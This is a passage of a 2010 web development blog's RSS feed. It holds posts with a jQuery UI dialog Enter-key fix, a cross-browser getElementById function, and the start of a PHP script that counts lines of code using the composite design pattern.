<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Web Development - Programming - Codehead</title>
	<atom:link href="http://blog.code-head.com/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.code-head.com</link>
	<description>Web development and programming blog focusing on webmaster's experience with PHP, MySQL, AJAX, server performance, security, SEO and more.</description>
	<pubDate>Wed, 24 Feb 2010 22:53:47 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>jQuery UI Dialog And The Enter - Return Key Problem</title>
		<link>http://blog.code-head.com/jquery-ui-dialog-and-the-enter-return-key-problem</link>
		<comments>http://blog.code-head.com/jquery-ui-dialog-and-the-enter-return-key-problem#comments</comments>
		<pubDate>Thu, 18 Feb 2010 06:53:38 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[Annoying Stuff]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=810</guid>
		<description><![CDATA[This is another post for my &#8216;Annoying Stuff&#8217; collection and this one is very, so very annoying&#8230;
The problem is that jQuery UI, supports forms in dialogs but the problem is that a user can&#8217;t hit &#8216;Enter&#8217; to submit the form, it will break everything, a user has to actually hit the &#8216;Submit&#8217; (or whatever) button [...]]]></description>
			<content:encoded><![CDATA[<p>This is another post for my &#8216;Annoying Stuff&#8217; collection and this one is very, so very annoying&#8230;</p>
<p>The problem is that jQuery UI, supports forms in dialogs but the problem is that a user can&#8217;t hit &#8216;Enter&#8217; to submit the form, it will break everything, a user has to actually hit the &#8216;Submit&#8217; (or whatever) button manually. This make the whole thing completely useless unless you make some changes that are basically tweaking the internals of jQuery UI, which is ugly and can break if they change things around but sadly this is the only solution for now.</p>
<p>Assuming that you use the same syntax jQuery UI suggests to create your form, the fix is something like this:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.dialog'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'input'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">keypress</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>e.<span style="color: #660066;">which</span> <span style="color: #339933;">&amp;&amp;</span> e.<span style="color: #660066;">which</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">13</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span>e.<span style="color: #660066;">keyCode</span> <span style="color: #339933;">&amp;&amp;</span> e.<span style="color: #660066;">keyCode</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">13</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		$<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.ui-dialog-buttonpane'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'button:first'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009966; font-style: italic;">/* Assuming the first one is the action button */</span>
		<span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>You might have to modify it a tiny bit, if that&#8217;s the case, you most likely have to change the part $(&#8217;.dialog&#8217;) so that it selects the right container that wraps the form&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/jquery-ui-dialog-and-the-enter-return-key-problem/feed</wfw:commentRss>
		</item>
		<item>
		<title>document.getElementById On All Browsers  - Cross browser getElementById</title>
		<link>http://blog.code-head.com/documentgetelementbyid-on-all-browsers-cross-browser-getelementbyid</link>
		<comments>http://blog.code-head.com/documentgetelementbyid-on-all-browsers-cross-browser-getelementbyid#comments</comments>
		<pubDate>Mon, 08 Feb 2010 19:33:03 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Web Browsers]]></category>

		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=801</guid>
		<description><![CDATA[Here is a little JavaScript function that gets an object according to it&#8217;s id and it&#8217;s cross browser.

/*********************************************************************
   * Get an object, this function is cross browser
   * Usage: 
   * var object = get_object(element_id);
   * @Author Hamid Alipour http://blog.code-head.com/
  **/
  function get_object&#40;id&#41; &#123;
  [...]]]></description>
			<content:encoded><![CDATA[<p>Here is a little JavaScript function that gets an object according to it&#8217;s id and it&#8217;s cross browser.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">/*********************************************************************
   * Get an object, this function is cross browser
   * Usage: 
   * var object = get_object(element_id);
   * @Author Hamid Alipour http://blog.code-head.com/
  **/</span>
  <span style="color: #003366; font-weight: bold;">function</span> get_object<span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #003366; font-weight: bold;">var</span> object <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #339933;">;</span>
   <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">layers</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>   
    object <span style="color: #339933;">=</span> document.<span style="color: #660066;">layers</span><span style="color: #009900;">&#91;</span>id<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">all</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    object <span style="color: #339933;">=</span> document.<span style="color: #660066;">all</span><span style="color: #009900;">&#91;</span>id<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    object <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
   <span style="color: #000066; font-weight: bold;">return</span> object<span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #006600; font-style: italic;">/*********************************************************************/</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/documentgetelementbyid-on-all-browsers-cross-browser-getelementbyid/feed</wfw:commentRss>
		</item>
		<item>
		<title>Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern</title>
		<link>http://blog.code-head.com/script-for-counting-number-of-lines-of-code-in-your-website-composite-design-pattern</link>
		<comments>http://blog.code-head.com/script-for-counting-number-of-lines-of-code-in-your-website-composite-design-pattern#comments</comments>
		<pubDate>Mon, 08 Feb 2010 19:27:06 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[Design Patterns]]></category>

		<category><![CDATA[Fun]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=798</guid>
		<description><![CDATA[This is another thread from our forums which we are closing down soon.
This script will count the number of lines in all of your source files recursively. Just place it in any folder and point your browser to it and it will count all the lines including sub directories. 
It might run out of memory [...]]]></description>
			<content:encoded><![CDATA[<p>This is another thread from our forums which we are closing down soon.</p>
<p>This script will count the number of lines in all of your source files recursively. Just place it in any folder and point your browser to it and it will count all the lines including sub directories. </p>
<p>It might run out of memory if your application is huge and your PHP memory limit is low. For me, it counted 97,000 lines in our last project with no problems.</p>
<p>You also have an option to exclude file extensions and directories.</p>
<p>The other thing about this script is that it is a great little example of <strong>composite design pattern</strong> in action; every directory is an object that will count all the lines (in the files) in it and asks it&#8217;s sub directories to do the same, then the sub directories also repeat the same process.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Counts the lines of code in this folder and all sub folders
	 * You may not sell this script our remove these header comments
	 * @author Hamid Alipour, http://blog.code-head.com/
	**/</span>
&nbsp;
	<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW_DETAILS'</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">class</span> Folder <span style="color: #009900;">&#123;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$folders</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$files</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$exclude_extensions</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$exclude_files</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$exclude_folders</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
		<span style="color: #000000; font-weight: bold;">function</span> Folder<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">path</span> 		<span style="color: #339933;">=</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">name</span>		<span style="color: #339933;">=</span> <span style="color: #990000;">array_pop</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">array_filter</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span>DIRECTORY_SEPARATOR<span style="color: #339933;">,</span> <span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">folders</span> 	<span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">files</span>		<span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">exclude_extensions</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'gif'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'jpg'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'jpeg'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'png'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'tft'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'bmp'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'rest-of-the-file-extensions-to-exclude'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">exclude_files</span> 	    <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'count_lines.php'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'rest-of-the-files-to-exclude'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">exclude_folders</span> 	 <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'_private'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_vti_bin'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_vti_cnf'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_vti_log'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_vti_pvt'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_vti_txt'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'rest-of-the-folders-to-exclude'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">function</span> count_lines<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW_DETAILS'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;/Folder: {<span style="color: #006699; font-weight: bold;">$this</span> -&gt; path}...<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$total_lines</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">files</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">ext</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">exclude_extensions</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">exclude_files</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW_DETAILS'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;#---Skipping File: {<span style="color: #006699; font-weight: bold;">$file</span> -&gt; name};<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #000088;">$total_lines</span> <span style="color: #339933;">+=</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">get_num_lines</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">folders</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$folder</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$folder</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">exclude_folders</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW_DETAILS'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;#Skipping Folder: {<span style="color: #006699; font-weight: bold;">$folder</span> -&gt; name};<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #000088;">$total_lines</span> <span style="color: #339933;">+=</span> <span style="color: #000088;">$folder</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">count_lines</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW_DETAILS'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\T</span>otal lines in {<span style="color: #006699; font-weight: bold;">$this</span> -&gt; name}: <span style="color: #006699; font-weight: bold;">$total_lines</span>;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$total_lines</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">function</span> get_contents<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$contents</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> _get_contents<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$contents</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'Folder'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">folders</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Folder<span style="color: #009900;">&#40;</span><span style="color: #000088;">$value</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'item'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">files</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span>   <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #990000;">File</span>  <span style="color: #009900;">&#40;</span><span style="color: #000088;">$value</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'item'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">function</span> _get_contents<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>		
			<span style="color: #000088;">$folder</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">path</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$folder</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
				<span style="color: #b1b100;">return</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #000088;">$return_array</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$count</span>		  <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$dh</span> <span style="color: #339933;">=</span> <span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$folder</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #000000; font-weight: bold;">false</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'..'</span> <span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>													
					<span style="color: #000088;">$return_array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$count</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'item'</span><span style="color: #009900;">&#93;</span>	<span style="color: #339933;">=</span> <span style="color: #000088;">$folder</span> <span style="color: #339933;">.</span><span style="color: #000088;">$file</span> <span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$folder</span> <span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> ? DIRECTORY_SEPARATOR <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$return_array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$count</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span>	<span style="color: #339933;">=</span> <span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$folder</span> <span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">'Folder'</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'File'</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$count</span><span style="color: #339933;">++;</span>				
				<span style="color: #009900;">&#125;</span>
				<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$return_array</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>	
&nbsp;
	<span style="color: #009900;">&#125;</span> <span style="color: #666666; font-style: italic;">// Class</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #990000;">File</span> <span style="color: #009900;">&#123;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$ext</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
		<span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">File</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">path</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">name</span> <span style="color: #339933;">=</span> <span style="color: #990000;">basename</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>			
			<span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">ext</span>  <span style="color: #339933;">=</span> <span style="color: #990000;">array_pop</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000000; font-weight: bold;">function</span> get_num_lines<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$count_lines</span> <span style="color: #339933;">=</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
